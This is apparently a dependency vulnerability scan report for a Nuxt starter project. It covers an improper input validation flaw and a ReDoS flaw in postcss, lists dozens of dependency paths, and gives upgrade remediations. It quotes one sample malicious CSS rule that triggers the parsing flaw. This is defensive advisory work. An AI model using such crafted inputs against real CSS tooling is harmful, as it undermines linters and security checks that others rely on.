Affected versions of this package are vulnerable to Improper Input Validation when parsing external Cascading Style Sheets (CSS) with linters using PostCSS. An attacker can cause discrepancies by injecting malicious CSS rules, such as @font-face{ font:(\r/*);}. This vulnerability is because of an insecure regular expression usage in the RE_BAD_BRACKET variable.

Remediation

Upgrade postcss to version 8.4.31 or higher.

References

Improper Input Validation vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: postcss
  • Introduced through: nuxt@1.4.5, @nuxtjs/axios@3.1.4 and others

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › autoprefixer@7.2.6 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-import@11.1.0 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-loader@2.1.6 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-url@7.3.2 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › vue-loader@13.7.3 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › autoprefixer@7.2.6 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › autoprefixer@7.2.6 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › icss-utils@2.1.0 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › postcss-modules-extract-imports@1.2.1 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › postcss-modules-local-by-default@1.2.0 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › postcss-modules-scope@1.1.0 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › postcss-modules-values@1.3.0 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › pixrem@4.0.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › pleeease-filters@4.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-apply@0.8.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-attribute-case-insensitive@2.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-function@4.1.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-gray@4.1.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-hex-alpha@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-hsl@2.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-hwb@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-rebeccapurple@3.1.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-rgb@2.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-rgba-fallback@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-custom-media@6.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-custom-properties@6.3.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-selector-matches@3.0.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-custom-selectors@4.0.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-font-family-system-ui@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-font-variant@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-image-set-polyfill@0.3.5 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-initial@2.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-media-minmax@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-nesting@4.2.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-pseudo-class-any-link@4.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-pseudoelements@5.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-replace-overflow-wrap@2.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-selector-not@3.0.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-import@11.1.0 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-loader@2.1.6 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-url@7.3.2 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › vue-loader@13.7.3 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › autoprefixer@7.2.6 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › icss-utils@2.1.0 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › postcss-modules-extract-imports@1.2.1 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › postcss-modules-local-by-default@1.2.0 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › postcss-modules-scope@1.1.0 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › postcss-modules-values@1.3.0 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › pixrem@4.0.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › pleeease-filters@4.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-apply@0.8.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-attribute-case-insensitive@2.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-function@4.1.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-gray@4.1.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-hex-alpha@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-hsl@2.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-hwb@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-rebeccapurple@3.1.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-rgb@2.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-rgba-fallback@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-custom-media@6.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-custom-properties@6.3.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-custom-selectors@4.0.1 › postcss-selector-matches@3.0.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-selector-matches@3.0.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-custom-selectors@4.0.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-font-family-system-ui@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-font-variant@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-image-set-polyfill@0.3.5 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-initial@2.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-media-minmax@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-nesting@4.2.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-pseudo-class-any-link@4.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-pseudoelements@5.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-replace-overflow-wrap@2.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-selector-not@3.0.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-custom-selectors@4.0.1 › postcss-selector-matches@3.0.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
